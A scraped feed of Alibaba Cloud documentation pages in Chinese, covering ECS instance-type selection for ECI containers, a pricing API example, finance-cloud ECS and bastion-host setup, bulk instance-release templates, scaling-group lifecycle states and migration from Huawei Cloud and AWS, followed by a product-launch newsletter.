              "zoneId": "cn-hangzhou-h", 
              "status": "Available", 
              "statusCategory": "WithStock", 
              "availableResources": [
                  {
                      "type": "InstanceType", 
                      "supportedResources": [
                          {
                              "value": "ecs.hfc5.large", 
                              "status": "Available", 
                              "statusCategory": "WithStock"
                          }, 
                          {
                              "value": "ecs.t5-c1m1.large", 
                              "status": "Available", 
                              "statusCategory": "WithStock"
                          }, 
                          {
                              "value": "ecs.ic5.3xlarge", 
                              "status": "Available", 
                              "statusCategory": "WithStock"
                          }, 
                          {
                              "value": "ecs.c5.large", 
                              "status": "Available", 
                              "statusCategory": "WithStock"
                          }, 
                          {
                              "value": "ecs.t5-c1m1.xlarge", 
                              "status": "Available", 
                              "statusCategory": "WithStock"
                          }
                      ]
                  }
              ]
          }
      ]
      --------------------Instance specification changes successfully--------------------
      {"requestId":"BAC795D9-D8F1-4E76-9F69-75EA47B5FD4B"}

      ]]> 指定ECS规格创建ECI_实例_弹性容器实例ECI-阿里云 Fri, 02 May 2025 09:39:04 +0800 指定ECS规格创建ECI

      更新时间:2020-04-08 16:54:03

      本页目录

      在一些业务场景下,业务需要有特殊的规格需求,例如:GPU、增强的网络能力、高主频、本地盘等需求,ECI支持通过指定特定的ECS规格进行创建。ECI指定规格完全参考ECS规格定义。

      规格说明

      注意 在该模式下, ECI单价跟对应规格的ECS按量价格一致,按秒计费。

      您可以通过ECS 实例规格可购买地域总览,查询每个地域和可用区具体支持的ECS规格信息。

      目前支持的实例规格族包括:

      • 通用型(1:4)实例规格族 g6、g5、sn2ne(网络增强)

      • 计算型(1:2)实例规格族 c6、c5、sn1ne(网络增强)

      • 内存型(1:8)实例规格族 r6、r5、se1ne(网络增强)

      • 密集计算型(1:1)实例规格族 ic5

      • 高主频计算型(1:2)实例规格族 hfc6、hfc5

      • 高主频通用型(1:4)实例规格族 hfg6、hfg5

      • GPU计算型实例规格族gn6i、gn6v、gn5i、gn5(不支持本地存储)

      • 突发性能实例规格族 t6、t5

      Kubernetes方式

      容器服务支持指定ECS规格创建ECI创建ECI实例。

      1. 进入容器服务应用菜单,比如无状态,创建应用。

      2. 点击右上角,使用模板创建。

      3. 在pod模板里加入注解。

        注意 annotations需要添加到Pod的metadata中。

      apiVersion: apps/v1beta2 # for versions before 1.8.0 use apps/v1beta1
      kind: Deployment
      metadata:
        name: nginx-deployment-basic
        labels:
          app: nginx
      spec:
        replicas: 2
        selector:
          matchLabels:
            app: nginx
        template:
          metadata:
            labels:
              app: nginx
            annotations:
              k8s.aliyun.com/eci-use-specs : "ecs.c5.large"  #根据需要替换 ECS 规格
          spec:
          #  nodeSelector:
          #    env: test-team
            containers:
            - name: nginx
              image: nginx:1.7.9 # replace it with your exactly <image_name:tags>
              ports:
              - containerPort: 80

      查看创建的容器组

      OpenAPI方式

      通过CreateContainerGroup OpenAPI进行实例创建时,可以通过InstanceType来指定规格,其他参数的使用请参考CreateContainerGroup接口描述。

      请求参数:

      名称 类型 是否必选 示例值 描述
      InstanceType String ecs.c5.xlarge 实例规格,可以通过“,”进行分隔传入最多5个值,比如“ecs.c5.xlarge,ecs.g5.xlarge”

      ]]> 后付费ECS询价示例_云产品询价参考文档_询价域_阿里云交易和账单管理API-阿里云 Fri, 02 May 2025 09:39:04 +0800 后付费ECS询价示例

      更新时间:2020-04-13 17:35:59

      本页目录

      参考本示例查询后付费云服务器ECS的价格。

      询价说明

      获取后付费ECS实例的价格,您需要完成以下操作:

      1. 调用QueryProductList获取产品code,云服务器ECS的产品code为ecs
      2. 调用DescribePricingModule接口获取产品的配置参数。该接口须指定ProductCodeSubscriptionType参数。云服务器ECS的SubscriptionType取值为PayAsYouGo

        下表列举了获取后付费ECS实例价格需提供的参数。

        参数名称 示例值 说明
        Region cn-hangzhou 地域信息。
        ModuleList.1.ModuleCode InstanceType 实例规格。
        ModuleList.1.Config InstanceType:ecs.g5.xlarge,IoOptimized:IoOptimized,ImageOs:windows,InstanceTypeFamily:ecs.g5 实例类型取值。
        ModuleList.1.PriceType Hour 价格类型。
        ModuleList.2.ModuleCode SystemDisk 系统盘。
        ModuleList.2.Config SystemDisk.Category:cloud_efficiency,SystemDisk.Size:55 系统盘取值。
        ModuleList.2.PriceType Hour 价格类型。
        ModuleList.3.ModuleCode DataDisk 数据盘。
        ModuleList.3.Config DataDisk.Category:cloud_ssd,DataDisk.Size:130 数据盘取值。
        ModuleList.3.PriceType Hour 价格类型。
        ModuleList.4.ModuleCode InternetMaxBandwidthOut 公网带宽和类型。
        ModuleList.4.Config InternetMaxBandwidthOut:1024 公网带宽取值和类型取值:
        • 0:按固定单宽。
        • 1:按使用流量。
        默认为0。
        ModuleList.4.PriceType Hour 价格类型。
      3. 调用GetPayAsYouGoPrice接口获取后付费ECS实例的价格。

      请求示例(按固定单宽)

      https://business.aliyuncs.com/?Action=GetPayAsYouGoPrice
      &ProductCode=ecs
      &SubscriptionType=PayAsYouGo
      &Region=cn-qingdao
      &ModuleList.1.ModuleCode=InstanceType
      &ModuleList.1.Config=InstanceType:ecs.g5.xlarge,IoOptimized:IoOptimized,ImageOs:linux
      &ModuleList.1.PriceType=Hour
      &ModuleList.2.ModuleCode=SystemDisk
      &ModuleList.2.Config=SystemDisk.Category:cloud_efficiency,SystemDisk.Size:55
      &ModuleList.2.PriceType=Hour
      &ModuleList.3.ModuleCode=DataDisk
      &ModuleList.3.Config=DataDisk.Category:cloud_ssd,DataDisk.Size:130
      &ModuleList.3.PriceType=Hour
      &ModuleList.4.ModuleCode=InternetMaxBandwidthOut
      &ModuleList.4.Config=InternetMaxBandwidthOut:1024
      &ModuleList.4.PriceType=Hour
      &公共参数

      ]]> 金融云上ECS服务器的配置_常见问题_产品常见问题_金融云-阿里云 Fri, 02 May 2025 09:39:04 +0800 金融云上ECS服务器的配置

      更新时间:2020-06-23 15:12:34

      本页目录

      本文将为您介绍阿里金融云上的ECS服务器的配置说明。

      云服务器ECS的开通

      云服务器ECS购买页,单击立即购买。开通ECS服务器时,有以下选项。

      选项 说明 建议选项
      地域 选择服务器所在的地域,金融云的生产服务器建议选择在杭州。杭州的ECS只能连接杭州的RDS,杭州的RDS是双机房高可用的。 建议将生产系统放在杭州地域。
      可用区 可用区相当于物理机房的概念,指的是所购买ECS的物理空间位于的哪个机房。 同一功能的服务器,一半选择在“杭州可用区B”,另一半选择在“杭州可用区C”。
      CPU/内存 选择服务器的配置。 根据需要选择。如果应用程序支持,建议选择多台低配置(而不是少量高配置)的服务器分布在两个可用区。
      公网带宽 如果ECS需要访问互联网上的资源,例如下载互联网上的文件、发送邮件、调用短信网关等,则需要在这里选择一个公网带宽。需要注意的是,即使这里选择了公网带宽,互联网用户还是无法通过ECS分配到的公网IP访问到ECS。 根据需要选择。
      镜像类型 公共镜像是阿里云提供的标准操作系统。 选择“公共镜像”。
      公共镜像 选择所需要的操作系统和版本。 根据需要选择。
      数据盘 给云服务器增加新的磁盘,添加后在云服务器的操作系统上看起来就是一块新硬盘。 根据需要添加并设置大小。
      登录密码 设置云服务器的登录密码。
      实例名称 对实例的描述。 建议设置为有意义的名称,便于以后管理。
      购买时长 实例购买多长时间。 按需要选择,一年的价格相当于一个月的价格乘10。
      数量 按以上的选择的购买数量。 按需要选择。
      金融云上ECS服务器的配置-1 金融云上ECS服务器的配置-2金融云上ECS服务器的配置-3

      选择完成后,单击立即购买,也可单击加入清单然后再单击批量购买完成购买。

      金融云上ECS服务器的配置-4金融云上ECS服务器的配置-5

      云服务器ECS的管理

      云服务器ECS可通过管理控制台进行管理,在访问管理控制台之前,必须要先连接管理VPN。

      在云服务器ECS的管理界面上,可以对服务器进行停止、重启、升级、更换操作系统等操作,ECS的具体操作请参见帮助文档

      安全组配置

      1. 安全组配置需要进入“云盾”,在产品与服务菜单中单击云盾金融云上ECS服务器的配置-6
      2. 如果看到的是新版云盾,请单击右上角的反馈旧版按钮。金融云ECS服务器的配置-7
      3. 选择服务详情 > 防火墙管理金融云上ECS服务器的配置-8
      4. 创建安全组。金融云上ECS服务器的配置-9
      5. 添加规则。金融云上ECS服务器的配置-10金融云上ECS服务器的配置-11

      搭建金融云推荐架构

      金融云推荐架构对应的ECS部分实现方法如下。

      1. 将生产服务器加入清单

        在ECS购买页面上,选择杭州可用区B > 选择适应的配置和服务器数量 > 加入清单 > 杭州可用区C > 加入清单。现在,购买清单中包含两个可用区的多台同配置服务器。

      2. 将堡垒机加入清单

        在ECS购买页面上,选择杭州可用区B,选择1C/1G内存的ECS一台,操作系统与生产服务器一致,公网带宽选择为0,单击“加入清单”再选择杭州可用区C,单击“加入清单”。现在,购买清单中包含两个可用区各一台堡垒机。

      3. 完成购买

        在页面上单击批量购买,完成付款。然后进入ECS管理控制台,记录所有服务器的内网IP地址。

      4. 配置堡垒机安全组

        创建一个安全组,名称为sg-bastion,将规则中加入“我的VPN”中列出的所有客户端IP地址(见3.2.2),端口设置为22(堡垒机是Linux)或3389(堡垒机是Windows)。所属服务器选择为2台堡垒机。

      5. 配置生产服务器安全组

        创建一个安全组,名称为sg-production,将规则中加入2个堡垒机的IP地址,端口设置为22(堡垒机是Linux)或3389(堡垒机是Windows)。所属服务器选择为所有的生产服务器。

      6. 其它配置

        如果有需要,再创建测试服务器和测试服务器安全组。如果创建了新的服务器,需要手工添加到相应的安全组后才可被堡垒机访问。

      最终实现的访问路径如下图。

      金融云上ECS服务器的配置-11

      常见问题

      • 问:什么叫可用区?如何选择可用区?

        答:可用区相当于物理机房的概念,指的是所购买ECS物理位于的哪个机房。同一功能的服务器,一半选择在一个可用区,另一半选择在同一地域的另一个可用区。

      • 问:ECS上的公网带宽有什么用?

        答:如果ECS需要访问互联网上的资源,比如下载互联网上的文件、发送邮件、调用短信网关等,则需要选择公网带宽。需要注意的是,即使这里选择了公网带宽,互联网用户还是无法通过ECS分配到的公网IP访问到ECS。

      • 问:我VPN登录后,无法ping通我的ECS

        答:ECS默认不允许ping操作,建议通过堡垒机去ping。如果想从VPN客户端直接ping,可创建一个新的安全组,名称为sg-icmp,入站规则处,选择ICMP协议,端口任意填入一个数字,源地址写为VPN登录后分配的IP地址,然后单击“添加规则”,并在“所属服务器”上选中想要ping的服务器,之后单击“应用所有规则”。

        金融云上ECS服务器的配置-12
      • 问:无法登录ECS 服务器

        答:首先你要登录VPN,请参见前面的VPN相关内容。然后ECS默认不允许登录,需要通过云盾配置防火墙,允许SSH协议或RDP协议后才可以登录ECS。SSH使用TCP协议22端口,RDP使用TCP协议3389端口。配置的源IP地址要配置为VPN自服务控制台中看到的“客户端IP列表”。建议通过堡垒机登录,请参见上面的内容实现堡垒机。

      • 问:互联网用户无法访问到我的ECS

        答:互联网用户需要通过SLB才能访问到ECS,具体请参见SLB的配置方法。

      • 问:如何上传下载文件

        答:上传文件之前,请先通过安全组开通远程管理端口。Linux操作系统请使用sftp协议进行文件上传(可使用图形化的sftp协议工具winscp,参见winscp官方网站,Windows操作系统请使用远程桌面的连接本地驱动器功能(参见这里这里)。也可以开通一台ECS服务器的公网带宽,然后通过外部的云盘服务进行数据中转,推荐使用淘盘

      ]]> 批量释放ECS实例_实例运维_最佳实践_运维编排服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 批量释放ECS实例

      更新时间:2019-10-30 10:06:13

      本页目录

      运维编排服务OOS为批量释放实例的场景提供了公共模版。只需输入需要被释放的实例ID,就可以达到释放所有实例的操作,避免手动操作单独释放实例。

      前提条件

      确保需被释放的实例类型属于按量付费预付费类型。

      操作步骤

      1、 首先登录到运维编排控制台
      2、单击公共模版
      3、 根据实例付费情况,在搜索框内搜索ACS-ECS-BulkyDeleteInstances(批量删除按量付费实例)模版或ACS-ECS-BulkyDeletePrepaidInstances(批量删除预付费实例),对其单击创建执行ACS-ECS-BulkyDeleteInstances
      _2019_10_29_10_24_42ACS-ECS-BulkyDeletePrepaidInstances
      1571896019420_c332dd12_f873_4281_8e80_a79a1e7eb427
      4、 单击 下一步,设置参数1571896245786_d11c0ccd_7956_45f9_83cc_580624bb1be1
      5、 输入参数公共模版参数:ACS-ECS-BulkyDeleteInstances

      1571974257999_0be5318a_de73_43c2_a6be_eb3a4f4fe166

      参数 说明 示例
      target 选择被处理的示例标签 / ECS实例 ID test: oos / i-bp10jvphtux8ad**
      force 是否强制删除实例 true/false
      rateControl 速率控制类型 并发控制
      并发速率 10
      最大错误次数 10
      执行使用到的权限的来源 可选参数。
      - (默认设置)当前账号的已有权限:执行您使用的账号的权限动作。请确保您拥有创建自定义镜像涉及的所有ECS API调用权限。
      - 指定RAM角色,使用该角色的权限:如果指定了RAM角色名称,OOS扮演该RAM角色执行运维任务。
      当前账号的已有权限

      oos

      6、 单击 下一步,确认 ,单击 确认风险并执行1572243372654_90e80ced_345e_42c3_b1b8_5fb08a415fb2

      7、 在执行管理中可查看刚刚创建的执行,若创建执行成功,且执行状态处于运行中,则表示实例处于删除中。1572243761013_85b0eb6c_2af4_48c2_9c10_ab68df7e126c
      8、 状态为成功时,表示实例全部被删除。1572243761013_85b0eb6c_2af4_48c2_9c10_ab68df7e126c

      9、 查询实例是否被删除1572243865751_b301e02e_2491_48c9_aba4_5565a6c8cbca

      附录1:公共模版和背后逻辑

      • 批量删除非预付费实例(ACS-ECS-BulkyDeleteInstances
        1. FormatVersion: OOS-2019-06-01
        2. Description:
        3. en: Bulky delete ECS postpaid instances.
        4. zh-cn: 批量删除ECS按量付费实例。
        5. name-en: ACS-ECS-BulkyDeleteInstances
        6. name-zh-cn: 批量删除ECS实例
        7. categories:
        8. - instance_manage
        9. Parameters:
        10. targets:
        11. Type: Json
        12. AssociationProperty: Targets
        13. AssociationPropertyMetadata:
        14. ResourceType: 'ALIYUN::ECS::Instance'
        15. force:
        16. Description:
        17. en: Whether to force the release of a running instance.
        18. zh-cn: 是否强制释放正在运行的实例。
        19. Type: Boolean
        20. Default: false
        21. rateControl:
        22. Description:
        23. en: Concurrency ratio of task execution.
        24. zh-cn: 任务执行的并发比率。
        25. Type: Json
        26. AssociationProperty: RateControl
        27. Default:
        28. Mode: Concurrency
        29. MaxErrors: 0
        30. Concurrency: 10
        31. OOSAssumeRole:
        32. Description:
        33. en: The RAM role to be assumed by OOS.
        34. zh-cn: OOS扮演的RAM角色。
        35. Type: String
        36. Default: OOSServiceRole
        37. RamRole: '{{ OOSAssumeRole }}'
        38. Tasks:
        39. - Name: getInstance
        40. Description:
        41. en: Views the ECS instances.
        42. zh-cn: 获取ECS实例。
        43. Action: 'ACS::SelectTargets'
        44. Properties:
        45. ResourceType: 'ALIYUN::ECS::Instance'
        46. Filters:
        47. - '{{ targets }}'
        48. Outputs:
        49. instanceIds:
        50. Type: List
        51. ValueSelector: 'Instances.Instance[].InstanceId'
        52. - Name: deleteInstance
        53. Action: 'ACS::ExecuteAPI'
        54. Description:
        55. en: Deletes ECS instance with the specified instance ID.
        56. zh-cn: 通过指定实例ID删除实例。
        57. Properties:
        58. Service: ECS
        59. API: DeleteInstance
        60. Parameters:
        61. InstanceId: '{{ ACS::TaskLoopItem }}'
        62. Force: '{{ force }}'
        63. Loop:
        64. RateControl: '{{ rateControl }}'
        65. Items: '{{ getInstance.instanceIds }}'

      该模板顺序执行以下任务:

      1. 获取目标实例或实例上的Tags。
      2. 批量删除实例
      • 批量删除预付费实例(ACS-ECS-BulkyDeletePrepaidInstances
      1. FormatVersion: OOS-2019-06-01
      2. Description:
      3. en: >-
      4. Bulky delete prepaid instances.The specified ECS instances must be in
      5. stopped status.
      6. zh-cn: 批量删除ECS预付费实例。指定的ECS实例必须处于已停止状态。
      7. name-en: ACS-ECS-BulkyDeletePrepaidInstances
      8. name-zh-cn: 批量删除ECS预付费实例
      9. categories:
      10. - instance_manage
      11. Parameters:
      12. targets:
      13. Type: Json
      14. AssociationProperty: Targets
      15. AssociationPropertyMetadata:
      16. ResourceType: 'ALIYUN::ECS::Instance'
      17. rateControl:
      18. Description:
      19. en: Concurrency ratio of task execution.
      20. zh-cn: 任务执行的并发比率。
      21. Type: Json
      22. AssociationProperty: RateControl
      23. Default:
      24. Mode: Concurrency
      25. MaxErrors: 0
      26. Concurrency: 10
      27. OOSAssumeRole:
      28. Description:
      29. en: The RAM role to be assumed by OOS.
      30. zh-cn: OOS扮演的RAM角色。
      31. Type: String
      32. Default: OOSServiceRole
      33. RamRole: '{{ OOSAssumeRole }}'
      34. Tasks:
      35. - Name: getInstance
      36. Description:
      37. en: Views the ECS instances.
      38. zh-cn: 获取ECS实例。
      39. Action: 'ACS::SelectTargets'
      40. Properties:
      41. ResourceType: 'ALIYUN::ECS::Instance'
      42. Filters:
      43. - '{{ targets }}'
      44. Outputs:
      45. instanceIds:
      46. Type: List
      47. ValueSelector: 'Instances.Instance[].InstanceId'
      48. - Name: modifyInstanceChargeType
      49. Action: 'ACS::ExecuteAPI'
      50. Description:
      51. en: Modify the charge type for prepaid instances to postpaid.
      52. zh-cn: 修改预付费实例付费方式为按量付费。
      53. Properties:
      54. Service: ECS
      55. API: ModifyInstanceChargeType
      56. Parameters:
      57. InstanceIds: '{{ getInstance.instanceIds }}'
      58. InstanceChargeType: PostPaid
      59. - Name: deleteInstance
      60. Action: 'ACS::ECS::DeleteInstance'
      61. Description:
      62. en: Deletes the ECS instance by instance ID.
      63. zh-cn: 通过实例ID删除实例。
      64. Properties:
      65. instanceId: '{{ ACS::TaskLoopItem }}'
      66. Loop:
      67. RateControl: '{{ rateControl }}'
      68. Items: '{{ getInstance.instanceIds }}'

      该模板顺序执行以下任务:

      1. 获取目标实例或实例上的Tags。
      2. 将预付费实例修改为按量付费实例
      3. 批量删除实例

      ]]> 伸缩组内ECS实例的生命周期_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 伸缩组内ECS实例的生命周期

      更新时间:2020-06-15 15:14:19

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本章节介绍伸缩组内ECS实例的生命周期管理方式,并列出可能的服务状态。弹性伸缩管理ECS实例的生命周期时,会检查ECS实例是否健康,并及时移出甚至释放不健康的ECS实例。

      伸缩组内ECS实例的生命周期管理方式

      根据ECS实例加入伸缩组的方式,ECS实例可以分为自动创建的ECS实例和手动创建的ECS实例,对应的生命周期管理方式如下表所示。
      ECS实例类型 加入方式 生命周期管理方式
      自动创建的ECS实例 根据伸缩组的实例配置信息来源自动创建的ECS实例。 弹性伸缩管理ECS实例的全生命周期,弹性扩张时负责创建ECS实例,弹性收缩时负责停止和释放ECS实例。
      手动创建的ECS实例 由您手动创建,然后手动添加至伸缩组的ECS实例。 由是否将ECS实例的生命周期托管给伸缩组决定:
      • 已托管给伸缩组:弹性收缩时负责停止和释放ECS实例。
      • 未托管给伸缩组:弹性收缩时负责将ECS实例移出伸缩组,但不会释放ECS实例。

      伸缩组内ECS实例的服务状态

      从加入伸缩组到移出伸缩组,一台ECS实例可能的服务状态如下表所示。
      服务状态 说明
      加入中(Pending) ECS实例正在加入伸缩组,包括加入负载均衡实例的后端服务器、RDS实例的访问白名单等过程。
      加入挂起中(Pending:Wait) 如果伸缩组内创建了适用于弹性扩张活动的生命周期挂钩,ECS实例在加入伸缩组时被挂起并等待挂钩超时时间结束。
      服务中(InService) ECS实例已成功加入伸缩组并正常提供服务。
      备用中(Standby) ECS实例不提供服务,负载均衡权重被置为零,且弹性伸缩不管理ECS实例的生命周期,而是由您手动管理。
      保护中(Protected) ECS实例正常提供服务,但弹性伸缩不管理ECS实例的生命周期,而是由您手动管理。
      停用中(Stopped) ECS实例已停机,不提供服务。
      移出中(Removing) ECS实例正在移出伸缩组,包括移出负载均衡实例的后端服务器、RDS实例的访问白名单等过程。
      移出挂起中(Removing:Wait) 如果伸缩组内创建了适用于弹性收缩活动的生命周期挂钩,ECS实例在移出伸缩组时被挂起并等待挂钩超时时间结束。

      伸缩组内ECS实例的健康检查

      弹性伸缩管理伸缩组内ECS实例的生命周期时,会定期检查ECS实例的运行状态,如果发现一台ECS实例未处于运行中状态,则判定该ECS实例不健康。

      说明 ECS实例的运行状态是ECS实例从创建开始到释放结束的可能状态,并非ECS实例在伸缩组内的服务状态,详情请参见实例生命周期介绍

      弹性伸缩会移出伸缩组中不健康的ECS实例,具体动作如下:

      • 如果ECS实例由弹性伸缩自动创建,或者由您手动添加至伸缩组但生命周期已托管给伸缩组,弹性伸缩会移出并释放ECS实例。
      • 如果ECS实例由您手动添加至伸缩组且生命周期未托管给伸缩组,弹性伸缩会从伸缩组移出ECS实例,但不会释放该ECS实例。

      移出不健康的ECS实例时不受最小实例数的限制,可能导致组内实例数低于最小实例数。此时弹性伸缩会自动创建对应数量的ECS实例,使得组内实例数等于最小实例数。

      警告 请确保账号可用额度充足。如果账号欠费,所有后付费的ECS实例(包括按量付费实例和抢占式实例)都会停机,甚至被释放。欠费后伸缩组内ECS实例状态变化,请参见欠费说明

      ]]> 华为云ECS实例迁移至阿里云ECS实例_各源环境的迁移_最佳实践_服务器迁移中心-阿里云 Fri, 02 May 2025 09:39:04 +0800 华为云ECS实例迁移至阿里云ECS实例

      更新时间:2020-06-16 18:46:12

      本页目录

      您可以参考本文档中的步骤,将华为云ECS实例迁移至阿里云ECS实例。

      华为ECS Windows系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保系统时间与所在地域的标准时间一致。
      • 确保您的待迁移虚拟机出方向能访问下列网址及端口。
        • 服务器迁移中心SMC所需的https://smc.aliyuncs.com:443端口。
        • 迁移过程中,连接中转实例所需的端口8080和8703。

          说明 迁移过程中,SMC自动创建、启动、停止和释放中转实例No_Delete_SMC_Transition_Instance。中转实例的默认安全组在入方向开放了8080和8703端口,这是中转实例的迁移服务端口。

      • 检查系统中是否安装了QEMU Guest Agent VSS Provider服务。

        如果已安装该服务,您可以尝试去类似于C:Program Files (x86)virtiomonitor的目录下找到并执行uninstall.bat脚本,卸载QEMU Guest Agent软件。

      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查授权应用。源服务器迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 检查授权应用。源服务器迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。

      完成以上操作后,即可进行服务器迁移操作,详情请参见迁移流程概述

      华为ECS Linux系统迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保系统时间与所在地域的标准时间一致。
      • 确保您的待迁移虚拟机出方向能访问下列网址及端口。
        • 服务器迁移中心SMC所需的https://smc.aliyuncs.com:443端口。
        • 迁移过程中,连接中转实例所需的端口8080和8703。

          说明 迁移过程中,SMC自动创建、启动、停止和释放中转实例No_Delete_SMC_Transition_Instance。中转实例的默认安全组在入方向开放了8080和8703端口,这是中转实例的迁移服务端口。

      • 请确保已安装Rsync库。安装方式请参见如何安装Rsync
      • 检查授权应用。源服务器迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 如果是第一次进行服务器迁移,建议您先使用测试机演练。

      完成以上操作后,即可进行服务器迁移操作,详情请参见迁移流程概述

      ]]> AWS EC2迁移至阿里云ECS_各源环境的迁移_最佳实践_服务器迁移中心-阿里云 Fri, 02 May 2025 09:39:04 +0800 AWS EC2迁移至阿里云ECS

      更新时间:2020-06-17 09:42:24

      本页目录

      您可以参见本文档中的步骤,将AWS EC2实例迁移至阿里云ECS实例。

      EC2 Windows实例迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保系统时间与所在地域的标准时间一致。
      • 检查授权应用。源服务器迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 检查网络环境。
        • 如果是跨国际地域,由于网络环境较不稳定,操作步骤请参见跨国际地域迁云的操作步骤
        • 如果您的网络可以打通VPC内网,建议在创建迁移任务时网络模式选择内网传输。使用内网传输能获得比通过公网更快速更稳定的数据传输效果,提高迁移工作效率。详情请参见步骤二:创建并启动迁移任务
      • 检查并确保Windows系统VSS服务为启动状态 。
      • 检查是否安装了QEMU Guest Agent软件。如果安装了此工具软件,您需要先卸载。卸载的具体步骤,请参见Windows服务器卡在Prepare For Rsync Disk 0阶段,怎么办
      • 如果是第一次进行服务器迁移,建议您先使用测试机演练。

      完成以上操作后,即可进行服务器迁移操作,详情请参见迁移流程概述

      EC2 Linux实例迁移至阿里云

      在迁移之前,请先完成以下准备工作:

      • 创建快照以备份数据。
      • 确保系统时间与所在地域的标准时间一致。
      • 检查授权应用。源服务器迁移到阿里云后,系统底层硬件设备会发生变化,可能会导致一些跟硬件绑定的应用许可证(license)失效,您需要做好检查。
      • 检查网络环境。
        • 如果是跨国际地域,由于网络环境较不稳定,操作步骤请参见跨国际地域迁云的操作步骤
        • 如果您的网络可以打通VPC内网,建议在创建迁移任务时网络模式选择内网传输。使用内网传输能获得比通过公网更快速更稳定的数据传输效果,提高迁移工作效率。详情请参见步骤二:创建并启动迁移任务
      • 检查cloud-init。

        cloud-init服务是众多云平台用于自动初始化配置系统的服务软件,但AWS和阿里云的cloud-int服务配置无法完全兼容。从AWS迁移过来的系统可能会因为cloud-init启动失败导致无法正常启动,网络无法正常连通。建议您在迁移前使用阿里云的cloud-init配置,具体操作步骤请参见安装cloud-init,或者卸载原cloud-init服务。

      • 检查GRUB引导程序。

        Amazon Linux系列系统必须升级GRUB至2.02及以上,部分低内核系统(如CentOS/Red Hat 5和Debian 7)需要升级GRUB至1.99及以上。具体操作,请参见如何为Linux服务器安装GRUB

        说明 请使用root权限升级GRUB引导程序。

      完成以上操作后,即可进行服务器迁移操作,详情请参见迁移流程概述

      跨国际地域迁云的操作步骤

      1. 将AWS EC2实例迁移到阿里云对应的国际地域,具体操作步骤请参见迁移流程概述

        例如,EC2实例位于美国,您可以将其迁移至阿里云位于美国的地域。具体地域及地域ID请参见地域(Region)

      2. 将新建的镜像复制到目标阿里云地域。具体操作步骤,请参见复制镜像
      3. 使用该镜像在目标阿里云地域创建实例。具体操作步骤,请参见使用自定义镜像创建实例

      后续步骤

      AWS系统的SSH一般默认关闭root密码登录,您可以使用源AWS系统用户名和SSH Key登录阿里云的实例。

      ]]> 阿里云新品发布会周刊第57期 丨 助力企业打造专属钉钉 Fri, 02 May 2025 09:39:04 +0800 点击订阅新品发布会

      新产品、新版本、新技术、新功能、价格调整,评论在下方,下期更新!关注更多新品发布会!


      精品直播

      第97期:专属钉钉解决方案全新上线

      直播时间:2020年6月17日 15:00-16:50 预约直播
      TB1AK1TKrr1gK0jSZR0XXbP8XXa-780-388.jpg

      钉钉的用户数量已经突破3亿,客户对钉钉提供企业版的诉求越来越强。针对企业级共性需求,客户可按需选择专属设计、专属存储、专属安全和最高级别的专属App,定制出千人千面的钉钉,助力企业打造自己的钉钉。更多内容尽在直播间!

      讲师介绍:

      议题1《专属钉钉解决方案重磅发布》

      司酒-阿里云专属钉钉高级架构师

      议题2《专属钉钉解决方案v2.0核心能力介绍》

      毅珩-阿里云高级解决方案工程师

      热门阅读

      1、浅谈异地多活及阿里云容灾经验分享

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      异地多活,英文Multi-Site High Availability,顾名思义就是分布在异地多个站点同时对外提供服务。与传统灾备最主要的区别是“多活”里所有站点都是同时在对外提供服务的,具体有以下几点不同:

      • 传统的灾备中心平时不提供服务,关键时刻无法确定切换到灾备中心是否可以切换成功。
      • 传统的灾备中心平时不提供服务,整个灾备资源会处于浪费状态,成本比较高。
      • 传统的灾备中心平时不提供服务,所以平时提供服务的数据中心还停留在单地域,当业务体量大到一定程度时,这种模式无法解决单地域资源瓶颈的问题。
        因为通过传统的灾备手段无法解决上述问题,阿里巴巴经过多年研究,成功在2013年的双十一实现了“丝般柔顺”的用户体验后,“异地多活”这项基础技术首次在业界亮相。

      查看原文

      2、阿里高可用架构建设实践经验

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      随着业务在线化互联网化的高速发展,企业对核心业务系统的稳定性、可靠性、有效性、业务连续性等有了更高的要求。采用高可用系统架构支持重要系统、为关键业务提供7x24的不间断服务,已经成为众多企业保障业务稳定、持续运转的主要选择。但如何从海量实践中提炼出值得借鉴复制的高可用架构之道,实现适合自身的高可用系统架构,是需要企业深思熟虑的问题。 查看原文

      3、阿里云发布新一代云原生产品,加速企业向现代 IT 架构演进

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      近日在阿里云线上峰会上,云原生应用平台产品总监赵林(丹臣)发表了《云原生 2020 新产品发布 传统应用架构往现代应用架构快速演进的基础设施》的主题演讲,详细介绍了阿里云全新发布的容器、中间件、Serverless 等产品。随着数字经济的快速发展和扩张,越来越多的企业开始采用云原生计算的思想和技术,以主导企业的数字化转型架构。 查看原文

      往期回顾

      第96期:企业出海全球化网络新品发布会 活动页面 直播视频

      中国企业全球化正当时,在国内人口红利见顶,国家政策支持的双背景之下,“全球化”被越来越多的企业视为发展新赛道。出海浪潮下,企业如何利用云服务快速占据先机?本议题将为您分享阿里云对出海战略的洞察,详解阿里云网络服务如何全力支持各领域海外业务拓展。

      第95期:阿里云EDAS 3.0版重磅升级发布会 活动页面 直播视频

      EDAS3.0在微服务治理、K8s集群纳管和监管控一体化、生态集成等基础能力上进行了全面的升级。本次发布会,EDAS资深技术专家和资深产品专家将重磅发布EDAS3.0版本,同时还邀请了安利和云途时代分享EDAS业务实践,讲述数字化转型实战故事。

      第94期:阿里云政企安全加速解决方案全新发布 活动页面 直播视频

